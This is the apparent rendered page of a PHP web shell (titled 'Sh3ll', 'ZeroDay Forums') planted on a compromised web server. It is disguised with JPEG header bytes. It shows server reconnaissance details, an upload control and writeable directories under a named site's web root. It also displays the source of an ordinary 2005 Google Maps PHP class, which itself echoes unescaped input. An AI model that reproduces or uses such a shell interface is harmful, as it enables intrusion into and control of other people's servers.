ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/lib/gmap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/lib/gmap/phoogle.php
<?php



/**

* Phoogle Maps 2.0 | Uses Google Maps API to create customizable maps

* that can be embedded on your website

*    Copyright (C) 2005  Justin Johnson

*

*    This program is free software; you can redistribute it and/or modify

*    it under the terms of the GNU General Public License as published by

*    the Free Software Foundation; either version 2 of the License, or

*    (at your option) any later version.

*

*    This program is distributed in the hope that it will be useful,

*    but WITHOUT ANY WARRANTY; without even the implied warranty of

*    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

*    GNU General Public License for more details.

*

*    You should have received a copy of the GNU General Public License

*    along with this program; if not, write to the Free Software

*    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA 

*

*

* Phoogle Maps 2.0

* Uses Google Maps Mapping API to create customizable

* Google Maps that can be embedded on your website

*

* @class        Phoogle Maps 2.0

* @author       Justin Johnson <justinjohnson@system7designs.com>

* @copyright    2005 system7designs

*/









class PhoogleMap{

/**

* validPoints : array

* Holds addresses and HTML Messages for points that are valid (ie: have longitude and latitutde)

*/

    var $validPoints = array();

/**

* invalidPoints : array

* Holds addresses and HTML Messages for points that are invalid (ie: don't have longitude and latitutde)

*/

    var $invalidPoints = array();

/**

* mapWidth

* width of the Google Map, in pixels

*/

    var $mapWidth = 300;

/**

* mapHeight

* height of the Google Map, in pixels

*/

    var $mapHeight = 300;



/**

* apiKey

* Google API Key

*/

    var $apiKey = "";



/**

* showControl

* True/False whether to show map controls or not

*/

    var $showControl = true;

	

/**

* showType

* True/False whether to show map type controls or not

*/

    var $showType = true;

/**

* controlType

* string: can be 'small' or 'large'

* display's either the large or the small controls on the map, small by default

*/



    var $controlType = 'small';

    

/**

* zoomLevel

* int: 0-17

* set's the initial zoom level of the map

*/



    var $zoomLevel = 4;









/**

* @function     addGeoPoint

* @description  Add's an address to be displayed on the Google Map using latitude/longitude

*               early version of this function, considered experimental

*/



function addGeoPoint($lat,$long,$infoHTML){

    $pointer = count($this->validPoints);

        $this->validPoints[$pointer]['lat'] = $lat;

        $this->validPoints[$pointer]['long'] = $long;

        $this->validPoints[$pointer]['htmlMessage'] = $infoHTML;

    }

    

/**

* @function     centerMap

* @description  center's Google Map on a specific point

*               (thus eliminating the need for two different show methods from version 1.0)

*/



function centerMap($lat,$long){

    $this->centerMap = "map.centerAndZoom(new GPoint(".$long.",".$lat."), ".$this->zoomLevel.");\n";

}

    

    

/**

* @function     addAddress

* @param        $address:string

* @returns      Boolean True:False (True if address has long/lat, false if it doesn't)

* @description  Add's an address to be displayed on the Google Map

*               (thus eliminating the need for two different show methods from version 1.0)

*/

	function addAddress($address,$htmlMessage=null){

	 if (!is_string($address)){

		die("All Addresses must be passed as a string");

	  }

		$apiURL = "http://maps.google.com/maps/geo?&output=xml&key=".$this->apiKey."&q=";

		$addressData = file_get_contents($apiURL.urlencode($address));

		

		$results = $this->xml2array(utf8_encode($addressData));

		if (empty($results['kml']['Response']['Placemark']['Point']['coordinates'])){

			$pointer = count($this->invalidPoints);

			$this->invalidPoints[$pointer]['lat']= $results['kml'][Response]['Placemark']['Point']['coordinates'][0];

			$this->invalidPoints[$pointer]['long']= $results['kml'][Response]['Placemark']['Point']['coordinates'][1];

			$this->invalidPoints[$pointer]['passedAddress'] = $address;

			$this->invalidPoints[$pointer]['htmlMessage'] = $htmlMessage;

		  }else{

			$pointer = count($this->validPoints);

			$this->validPoints[$pointer]['lat']= $results['kml'][Response]['Placemark']['Point']['coordinates'];

			$this->validPoints[$pointer]['long']= $results['kml'][Response]['Placemark']['Point']['coordinates'];

			$this->validPoints[$pointer]['passedAddress'] = $address;

			$this->validPoints[$pointer]['htmlMessage'] = $htmlMessage;

		}

	

	

	}

/**

* @function     showValidPoints

* @param        $displayType:string

* @param        $css_id:string

* @returns      nothing

* @description  Displays either a table or a list of the address points that are valid.

*               Mainly used for debugging but could be useful for showing a list of addresses

*               on the map

*/

	function showValidPoints($displayType,$css_id){

    $total = count($this->validPoints);

      if ($displayType == "table"){

        echo "<table id=\"".$css_id."\">\n<tr>\n\t<td>Address</td>\n</tr>\n";

        for ($t=0; $t<$total; $t++){

            echo"<tr>\n\t<td>".$this->validPoints[$t]['passedAddress']."</td>\n</tr>\n";

        }

        echo "</table>\n";

        }

      if ($displayType == "list"){

        echo "<ul id=\"".$css_id."\">\n";

      for ($lst=0; $lst<$total; $lst++){

        echo "<li>".$this->validPoints[$lst]['passedAddress']."</li>\n";

        }

        echo "</ul>\n";

       }

	}

/**

* @function     showInvalidPoints

* @param        $displayType:string

* @param        $css_id:string

* @returns      nothing

* @description  Displays either a table or a list of the address points that are invalid.

*               Mainly used for debugging shows only the points that are NOT on the map

*/

	function showInvalidPoints($displayType,$css_id){

      $total = count($this->invalidPoints);

      if ($displayType == "table"){

        echo "<table id=\"".$css_id."\">\n<tr>\n\t<td>Address</td>\n</tr>\n";

        for ($t=0; $t<$total; $t++){

            echo"<tr>\n\t<td>".$this->invalidPoints[$t]['passedAddress']."</td>\n</tr>\n";

        }

        echo "</table>\n";

        }

      if ($displayType == "list"){

        echo "<ul id=\"".$css_id."\">\n";

      for ($lst=0; $lst<$total; $lst++){

        echo "<li>".$this->invalidPoints[$lst]['passedAddress']."</li>\n";

        }

        echo "</ul>\n";

       }

	}

/**

* @function     setWidth

* @param        $width:int

* @returns      nothing

* @description  Sets the width of the map to be displayed

*/

	function setWidth($width){

		$this->mapWidth = $width;

	}

/**

* @function     setHeight

* @param        $height:int

* @returns      nothing

* @description  Sets the height of the map to be displayed

*/

	function setHeight($height){

		$this->mapHeight = $height;

	}

/**

* @function     setAPIkey

* @param        $key:string

* @returns      nothing

* @description  Stores the API Key acquired from Google

*/

	function setAPIkey($key){

		$this->apiKey = $key;

	}

/**

* @function     printGoogleJS

* @returns      nothing

* @description  Adds the necessary Javascript for the Google Map to function

*               should be called in between the html <head></head> tags

*/

	function printGoogleJS(){

		echo "\n<script src=\"http://maps.google.com/maps?file=api&v=2&key=".$this->apiKey."\" type=\"text/javascript\"></script>\n";

	}

/**

* @function     showMap

* @description  Displays the Google Map on the page

*/

	function showMap(){

		echo "\n<div id=\"map\" style=\"width: ".$this->mapWidth."px; height: ".$this->mapHeight."px\">\n</div>\n";

		echo "    <script type=\"text/javascript\">\n

    	function showmap(){

				//<![CDATA[\n

    		if (GBrowserIsCompatible()) {\n

      		var map = new GMap(document.getElementById(\"map\"));\n";

      		if (empty($this->centerMap)){

             echo "map.centerAndZoom(new GPoint(".$this->validPoints[0]['long'].",".$this->validPoints[0]['lat']."), ".$this->zoomLevel.");\n";

             }else{

               echo $this->centerMap;

               }

		    echo "}\n

			var icon = new GIcon();

			icon.image = \"http://labs.google.com/ridefinder/images/mm_20_red.png\";

			icon.shadow = \"http://labs.google.com/ridefinder/images/mm_20_shadow.png\";

			icon.iconSize = new GSize(12, 20);

			icon.shadowSize = new GSize(22, 20);

			icon.iconAnchor = new GPoint(6, 20);

			icon.infoWindowAnchor = new GPoint(5, 1);

			

			";

		if ($this->showControl){

          if ($this->controlType == 'small'){echo "map.addControl(new GSmallMapControl());\n";}

          if ($this->controlType == 'large'){echo "map.addControl(new GLargeMapControl());\n";}

		

			}

		if ($this->showType){

		echo "map.addControl(new GMapTypeControl());\n";

		}

	

    $numPoints = count($this->validPoints);

    for ($g = 0; $g<$numPoints; $g++){

        echo "var point".$g." = new GPoint(".$this->validPoints[$g]['long'].",".$this->validPoints[$g]['lat'].")\n;

              var marker".$g." = new GMarker(point".$g.");\n

              map.addOverlay(marker".$g.")\n

              GEvent.addListener(marker".$g.", \"click\", function() {\n";

              if ($this->validPoints[$g]['htmlMessage']!=null){

              echo "marker".$g.".openInfoWindowHtml(\"".$this->validPoints[$g]['htmlMessage']."\");\n";

              }else{

             echo "marker".$g.".openInfoWindowHtml(\"".$this->validPoints[$g]['passedAddress']."\");\n";

                }

              echo "});\n";

	}

		echo "    	//]]>\n

		}

		window.onload = showmap;

    	</script>\n";

		}

 ///////////THIS BLOCK OF CODE IS FROM Roger Veciana's CLASS (assoc_array2xml) OBTAINED FROM PHPCLASSES.ORG//////////////

   	function xml2array($xml){

		$this->depth=-1;

		$this->xml_parser = xml_parser_create();

		xml_set_object($this->xml_parser, $this);

		xml_parser_set_option ($this->xml_parser,XML_OPTION_CASE_FOLDING,0);//Don't put tags uppercase

		xml_set_element_handler($this->xml_parser, "startElement", "endElement");

		xml_set_character_data_handler($this->xml_parser,"characterData");

		xml_parse($this->xml_parser,$xml,true);

		xml_parser_free($this->xml_parser);

		return $this->arrays[0];



    }

    function startElement($parser, $name, $attrs){

		   $this->keys[]=$name; 

		   $this->node_flag=1;

		   $this->depth++;

     }

    function characterData($parser,$data){

       $key=end($this->keys);

       $this->arrays[$this->depth][$key]=$data;

       $this->node_flag=0; 

     }

    function endElement($parser, $name)

     {

       $key=array_pop($this->keys);

       if($this->node_flag==1){

         $this->arrays[$this->depth][$key]=$this->arrays[$this->depth+1];

         unset($this->arrays[$this->depth+1]);

       }

       $this->node_flag=1;

       $this->depth--;

     }

//////////////////END CODE FROM Roger Veciana's CLASS (assoc_array2xml) /////////////////////////////////





}//End Of Class





?>


ZeroDay Forums Mini